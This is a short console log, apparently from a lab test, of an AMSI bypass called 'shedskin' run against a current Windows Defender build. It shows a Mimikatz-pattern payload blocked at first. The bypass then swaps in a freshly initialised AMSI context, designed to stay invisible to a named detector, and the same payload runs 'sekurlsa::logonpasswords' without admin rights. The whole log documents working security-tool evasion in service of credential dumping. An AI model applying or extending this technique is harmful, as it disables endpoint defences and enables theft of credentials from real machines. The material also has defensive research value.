# Live end-to-end shedskin cycle on current Defender # Captured 2026-10-29 on win11 26200.8037, Defender sig 1.459.576.0, engine 1.1.26080.3 # Script: shedskin-min.ps1 (XOR-obfuscated outer-pass launcher) WX.K registered: True oracle-before_cycle eicar=32768 # oracle alive oldCtx=0x26da64eda30 # SMA's original lazy-inited AMSI context amsiInitFailed_before=False # pre-cycle, False (as expected) === P1 pre-shedskin IEX (expect BLOCK) === P1_BLOCKED: ParseException: At line:1 char:1 # IEX of the Mimikatz-pattern payload blocked by AMSI PS pack === P2 apply shedskin === shed_init hr=0x0 newCtx=0x26da680b900 # AmsiInitialize('x', ...) returns new context ctx_now=0x26da680b900 # [AmsiUtils]::amsiContext written amsiInitFailed_after=False # Rastamouse detector would see True; shedskin stays False === P3 post-shedskin IEX of SAME payload (expect EXEC) === SHED_EXEC sekurlsa::logonpasswords # IEX of the SAME Mimikatz-pattern payload now executes. Function body runs. oracle-after_cycle eicar=32768 # oracle alive at end sig : 1.459.576.0 engine: 1.1.26080.3 build : 10.0.26200 user : MWS-W11-LAB$ @ WORKGROUP (via qemu-guest-agent as SYSTEM; primitive itself requires no admin)